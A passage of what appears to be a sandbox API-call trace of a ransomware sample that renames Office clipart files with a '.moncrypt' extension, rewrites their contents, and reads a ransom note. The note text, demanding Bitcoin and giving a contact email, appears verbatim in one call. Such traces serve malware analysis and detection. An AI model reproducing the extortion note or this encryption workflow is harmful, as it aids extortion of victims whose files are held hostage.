WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0061.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", lpUsedDefaultChar=0x0) returned 63 [0061.462] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0061.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD00160_.WMF", lpUsedDefaultChar=0x0) returned 4 [0061.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 0x54e240 [0061.462] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0061.462] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0061.462] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", dwFileAttributes=0x20) returned 1 [0061.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0061.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.moncrypt")) returned 1 [0061.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.470] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.471] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x57f4 [0061.471] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.471] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0061.475] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.475] GlobalLock (hMem=0x440004) returned 0x550170 [0061.475] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.476] GlobalUnlock (hMem=0x440004) returned 0 [0061.476] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0061.476] GlobalLock (hMem=0x440004) returned 0x55db88 [0061.476] GlobalHandle (pMem=0x55db88) returned 0x440004 [0061.476] GlobalUnlock (hMem=0x440004) returned 0 [0061.476] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0061.476] GlobalLock (hMem=0x440004) returned 0x55db88 [0061.476] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.476] GlobalUnlock (hMem=0x44000c) returned 0 [0061.476] GlobalHandle (pMem=0x55db88) returned 0x440004 [0061.476] GlobalUnlock (hMem=0x440004) returned 0 [0061.476] GlobalLock (hMem=0x440004) returned 0x550170 [0061.476] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.476] GlobalUnlock (hMem=0x440004) returned 0 [0061.476] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0061.476] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.476] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.476] GlobalUnlock (hMem=0x440004) returned 0 [0061.476] ReadFile (in: hFile=0x188, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0061.477] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0061.477] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0061.477] SetFilePointer (in: hFile=0x188, lDistanceToMove=22516, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x57f4 [0061.477] WriteFile (in: hFile=0x188, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0061.477] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0061.477] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0061.489] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0061.489] CloseHandle (hObject=0x188) returned 1 [0061.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.490] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0061.490] CloseHandle (hObject=0x188) returned 1 [0061.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0061.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0061.490] GlobalLock (hMem=0x440004) returned 0x550170 [0061.490] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.490] GlobalUnlock (hMem=0x440004) returned 0 [0061.490] GlobalLock (hMem=0x440004) returned 0x550170 [0061.490] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.490] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.490] GlobalUnlock (hMem=0x440004) returned 0 [0061.491] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.491] GlobalUnlock (hMem=0x44000c) returned 0 [0061.491] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0061.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0061.491] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0061.491] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0061.491] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.491] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0061.492] CloseHandle (hObject=0x188) returned 1 [0061.492] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0061.492] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0061.492] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0061.492] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.492] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.492] GlobalUnlock (hMem=0x44000c) returned 0 [0061.492] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.492] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.492] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.492] GlobalUnlock (hMem=0x44000c) returned 0 [0061.492] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.492] GlobalUnlock (hMem=0x440004) returned 0 [0061.492] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0061.492] CharLowerBuffW (in: lpsz="BD00173_.WMF", cchLength=0xc | out: lpsz="bd00173_.wmf") returned 0xc [0061.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.493] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", lpUsedDefaultChar=0x0) returned 63 [0061.493] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0061.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD00173_.WMF", lpUsedDefaultChar=0x0) returned 4 [0061.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 0x54e240 [0061.493] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0061.493] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0061.493] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", dwFileAttributes=0x20) returned 1 [0061.494] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0061.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.moncrypt")) returned 1 [0061.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.495] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.495] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x3f34 [0061.495] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.495] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x3f34, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x3f34, lpOverlapped=0x0) returned 1 [0061.508] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.508] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.508] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.508] GlobalUnlock (hMem=0x44000c) returned 0 [0061.508] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0061.508] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0061.508] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.508] GlobalUnlock (hMem=0x440004) returned 0 [0061.508] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0061.508] GlobalUnlock (hMem=0x44000c) returned 0 [0061.508] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.508] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.508] GlobalUnlock (hMem=0x44000c) returned 0 [0061.508] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0061.509] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.509] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.509] GlobalUnlock (hMem=0x44000c) returned 0 [0061.509] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0061.509] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x3f50, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x3f50, lpOverlapped=0x0) returned 1 [0061.509] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0061.509] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0061.521] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0061.521] CloseHandle (hObject=0x188) returned 1 [0061.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.522] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0061.522] CloseHandle (hObject=0x188) returned 1 [0061.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0061.523] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0061.523] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.523] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.523] GlobalUnlock (hMem=0x44000c) returned 0 [0061.523] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.523] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.523] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.523] GlobalUnlock (hMem=0x44000c) returned 0 [0061.523] GlobalHandle (pMem=0x557b78) returned 